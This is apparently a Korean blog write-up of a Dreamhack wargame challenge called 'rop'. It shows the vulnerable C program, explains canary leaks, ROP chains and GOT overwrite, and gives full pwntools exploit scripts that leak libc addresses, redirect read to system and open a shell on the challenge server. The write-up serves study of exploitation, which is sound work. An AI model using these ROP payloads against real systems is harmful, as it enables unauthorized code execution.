// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
앞선 문제와 동일하게 canary는 얻으면 되고,
이 문제의 주요 사항은 제목과 같이 rop이다.
rop은 곧 rtl, plt, got와 연계되는데, 사전 지식이 다소 요구된다.
다음에 별도로 정리해보는걸로...
이런 문제를 풀기위해 필요한 것은
각 함수간의 offset을 통한 libc 버전 확인. (첨부되어있지만)
함수를 실행시키기위한 gadget 확인.
이 우선되어야한다.
먼저 gadget은 좀 무성의하게 넘어가긴 하지만... ROPgadget 프로그램이나 objdump로 잘 구하면 된다.
그리고 offset을 확인하기 위해서는 memory leak이 필요한데, 가장 쉽게 사용할 수 있는 함수가 puts이며,
출력하려고하는 주소만 rdi 값으로 들어가있으면 되기 때문이다.
즉 그 구조가
pop rdi ret gadget + 출력 대상 + puts plt
로 매우 간단하다.
gdb를 통해 프로그램 실행 전 각 함수의 got 주소를 확인하여 이를 puts의 출력 대상으로 사용하면, 아래와 같아진다.
from pwn import *
p = remote('host3.dreamhack.games',14000)
#p = process("./rop")
get_canary = b'A'*(0x40-0x8)
p.sendlineafter(b'Buf: ',get_canary)
p.recvline()
canary = b'\x00' + p.recv(7)
p.recv(1)
putsplt = p64(0x400570)
putsgot = p64(0x601018)
readgot = p64(0x601030)
printfgot = p64(0x601028)
poprdiret = p64(0x4007f3)
pay = b'A'*(0x40-0x8)
pay += canary
pay += b'A'*8
pay += poprdiret
pay += putsgot
pay += putsplt
pay += poprdiret
pay += readgot
pay += putsplt
pay += poprdiret
pay += printfgot
pay += putsplt
p.sendlineafter(b'Buf: ',pay)
putsgot = p.recv(6) + b'\x00\x00'
p.recv(1)
readgot = p.recv(6) + b'\x00\x00'
p.recv(1)
printfgot = p.recv(6) + b'\x00\x00'
p.recv(1)
print(u64(putsgot))
print(u64(readgot))
print(u64(printfgot))
[+] Opening connection to host3.dreamhack.games on port 22625: Done
0x7fd14b222aa0
0x7fd14b2b2140
0x7fd14b206f70
[*] Closed connection to host3.dreamhack.games port 22625
이 값들의 차이가 각 함수들의 offset이며, 아래 site에서 libc 버전과 동시에 다른 주요 함수의 offset도 확인할 수 있다.
libc 버전을 확인했으니 위와 같이 system 함수의 offset도 확인할 수 있고 이를 이용해 실제 system 함수의 주소도 알 수 있다.
문제는 system 함수를 어떻게 실행시키느냐인데, 처음부터 system 함수를 실행시킬 수 있으면 좋겠지만,
프로그램에서 값을 2번밖에 입력받지 못하며,
첫번째 입력은 canary 확인,
두번째 입력은 실제 함수의 주소 확인
을 위해 썼기 때문에 정상적인 system 함수의 호출은 불가능하다.
그래서 나온 방법이 got overwrite이다.
got에는 실제 함수의 주소가 담겨있다고 했다. 즉, puts plt를 통해 함수를 실행시키면 puts got에 있는 주소를 실행시킨다.
만일 puts got에 puts 함수의 실제 주소가 아닌 system 함수의 실제 주소라면 system 함수를 실행시킬 것이다.
하지만 puts got에 어떻게 system 함수의 실제 주소를 넣을 것인가?
상식적으로 write 함수를 써야될 것 같지만, 이는 read 함수로 입력할 수 있다.
각 함수의 원형을 보면 아래와 같다.
read (int fd, void *buf, size_t len)
write (int fd, void *buf, size_t len)
재 해석 해보자면
read (여기에서 입력 받아서, 여기에 저장한다, 이 크기만큼)
write (여기에 출력한다, 여기 값을, 이 크기만큼)
이기 때문이다.
즉,
read (0, readgot, 100)
과 같이 stdin으로 입력받아 readgot에 100 byte만큼 저장할 수 있다.
앞선 문제에서 64 bit 환경은 32bit와 다르게 특정 레지스터에 값이 들어가있어야 한다고 했다.
read와 같이 3개의 인자가 필요한 경우 pop rdi, pop rsi, pop rdx가 필요하다.
하지만 rdi, rsi의 경우 쉽게 찾을 수 있는데, pop rdx는 생각보다 잘 찾아지지 않는다.
이 또한 찾는 방법이 있으니... libc 내의 rop을 활용하는 방법이다. (추후에 알아보는걸로 하고 넘어가자)
┌──(kali㉿kali)-[~/Downloads/1]
└─$ ROPgadget --binary libc-2.27.so | grep 'pop rdx ; ret'
0x00000000001ac341 : js 0x1ac3be ; pop rdx ; retf
0x0000000000001b96 : pop rdx ; ret
0x000000000002eed2 : pop rdx ; ret 0x18
0x0000000000100a02 : pop rdx ; ret 0xffff
0x00000000001ac343 : pop rdx ; retf
0x0000000000001ba0 : shl byte ptr [rax + 0x38f8d191], 1 ; pop rdx ; ret
어차피 우리가 필요한 크기는 system 주소를 위한 8 byte이고 보통은 다른 함수를 사용하면서 더 큰 값을 가지고 있기 때문에 무시해도 좋을 것으로 생각된다.
이제 RTL chainning에 대해서 이해해야 한다. (거의 다 왔다.)
32 bit 환경에서 함수를 실행시키기 위한 스택의 모양은
함수 1 주소 + pop ; ret + 인자 1 + 함수 2 주소 + pop ; pop ; ret + 인자 1 + 인자 2 + 함수 3 주소 ...
와 같다.
다시 설명하자면 함수 1은 함수를 실행시킬때
함수 + 4 위치의 값을 함수 종료 후 돌아갈 주소,
함수 + 8 위치의 값을 인자 1로
함수 + 12 위치의 값을 인자 2로...
쓰기 때문에 함수 1 종료 후 인자 수 만큼 pop 해주고 ret 시 함수 2 주소로 점프하게 되는 것이다.
하지만 64 bit 환경에서는 스택의 값도 중요하지만 레지스터에 값을 인자로 사용하기 때문에
pop rdi ; ret + 인자 1 + 함수 주소 + pop rdi ; pop rsi ; pop rdx ; ret + 인자 1 + 인자 2 + 인자 3 + 함수주소
와 같다.
즉, gadget이 앞에 나오고 인자가 나온 후 최종적으로 함수를 실행하면 되는 것이다.
본 문제에서는 우리는 두번째 메시지 출력 후 함수의 offset을 확인하고 system 함수의 주소를 확인한 다음 read got에 넣어야하는데, 세번째 값 입력 부분이 없기에 미리 두번째 메시지 입력 시 read 함수 실행 코드를 추가하여 차례로 실행되도록 해야한다.
이를 추가하면 아래와 같다.
from pwn import *
p = remote('host3.dreamhack.games',14000)
#p = process("./rop")
get_canary = b'A'*(0x40-0x8)
p.sendlineafter(b'Buf: ',get_canary)
p.recvline()
canary = b'\x00' + p.recv(7)
p.recv(1)
putsplt = p64(0x400570)
putsgot = p64(0x601018)
readplt = p64(0x4005a0)
readgot = p64(0x601030)
printfgot = p64(0x601028)
libcputs = 0x80aa0
libcsystem = 0x4f550
libcbinsh = 0x1b3e1a
poprdiret = p64(0x4007f3)
poprsir15 = p64(0x4007f1)
pay = b'A'*(0x40-0x8)
pay += canary
pay += b'A'*8
pay += poprdiret
pay += putsgot
pay += putsplt
pay += poprdiret
pay += readgot
pay += putsplt
pay += poprdiret
pay += printfgot
pay += putsplt
pay += poprsir15 + readgot + p64(0)
pay += poprdiret + p64(0)
pay += readplt
pay += poprdiret + p64(u64(readgot) + 0x8)
pay += readplt
p.sendlineafter(b'Buf: ',pay)
putsgot = p.recv(6) + b'\x00\x00'
p.recv(1)
readgot = p.recv(6) + b'\x00\x00'
p.recv(1)
printfgot = p.recv(6) + b'\x00\x00'
p.recv(1)
여기까지의 동작을 설명해보면
처음 값을 입력 받을때에는 canary를 확인하기 위한 값을 전달하였고,
이후 출력되는 값에서 canary를 가져왔다.
두번째 값을 입력 받을때에는 함수의 offset을 확인하기 위한 코드와 더불어 read 함수를 실행할 수 있도록 작성된 코드를 전달 하였고,
이후 출력되는 값에서 실제 함수의 주소를 가져온 후 read 함수를 실행하고 stdin으로 입력받도록 대기하게 되며,
stdin 으로 입력받는 값은 read got 주소에 입력되어야할 값이므로 system 함수의 주소가된다.
마지막으로 system (/bin/sh)를 실행하기 위한 문자열 입력이 필요하다.
물론 해당 문자열이 libc에도 들어있기는 하지만, 두번째 입력 시 read 함수(실제로는 system 함수) 실행과 동시에 문자열의 주소를 넘겨줘야하는데, 두번째 출력 시 offset을 알 수 있기에 /bin/sh 문자열의 주소를 미리 넘겨줄 수 없다.
하지만, 문자열이 참조할 주소는 사전에 넘겨줄 수 있으며, 이를 이용해 stdin으로 system 함수의 주소를 넘겨줄때 함께 입력하여 read got + 8 byte에 위치하도록 만들 수 있다.
즉 최종 페이로드는 아래와 같다.
from pwn import *
p = remote('host3.dreamhack.games',14000)
#p = process("./rop")
get_canary = b'A'*(0x40-0x8)
p.sendlineafter(b'Buf: ',get_canary)
p.recvline()
canary = b'\x00' + p.recv(7)
p.recv(1)
putsplt = p64(0x400570)
putsgot = p64(0x601018)
readplt = p64(0x4005a0)
readgot = p64(0x601030)
printfgot = p64(0x601028)
libcputs = 0x80aa0
libcsystem = 0x4f550
libcbinsh = 0x1b3e1a
poprdiret = p64(0x4007f3)
poprsir15 = p64(0x4007f1)
pay = b'A'*(0x40-0x8)
pay += canary
pay += b'A'*8
pay += poprdiret
pay += putsgot
pay += putsplt
pay += poprdiret
pay += readgot
pay += putsplt
pay += poprdiret
pay += printfgot
pay += putsplt
pay += poprsir15 + readgot + p64(0)
pay += poprdiret + p64(0)
pay += readplt
pay += poprdiret + p64(u64(readgot) + 0x8)
pay += readplt
p.sendlineafter(b'Buf: ',pay)
putsgot = p.recv(6) + b'\x00\x00'
p.recv(1)
readgot = p.recv(6) + b'\x00\x00'
p.recv(1)
printfgot = p.recv(6) + b'\x00\x00'
p.recv(1)
system = u64(putsgot) - libcputs + libcsystem
pay2 = b''
pay2 += p64(system) + b'/bin/sh\n'
p.sendline(pay2)
p.interactive()
┌──(kali㉿kali)-[~/Downloads/1]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 13424: Done
[*] Switching to interactive mode
$ id
uid=1000(rop) gid=1000(rop) groups=1000(rop)
$ cat flag
DH{----------#플래그는 삭제}
사실 각 함수의 plt와 got를 gdb를 통해 직접 구했는데, pwntools에서는 이를 위한 함수를 가지고 있다.
바로 ELF 함수인데 사용법은 아래와 같다.
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
개인적으로는,
편하긴 한데 뭔가 사기적인 기능이라 느껴짐과 동시에 이 모든 것이 공부를 위한 것이라 tool 사용은 최소화하고 싶어 잘 쓰지 않는다.
'Wargame > Dreamhack' 카테고리의 다른 글
basic_rop_x86 (0) | 2022.07.25 |
---|---|
basic_rop_x64 (0) | 2022.07.22 |
Return to Library (0) | 2022.07.19 |
Return to Shellcode (0) | 2022.07.19 |
ssp_001 (0) | 2022.07.18 |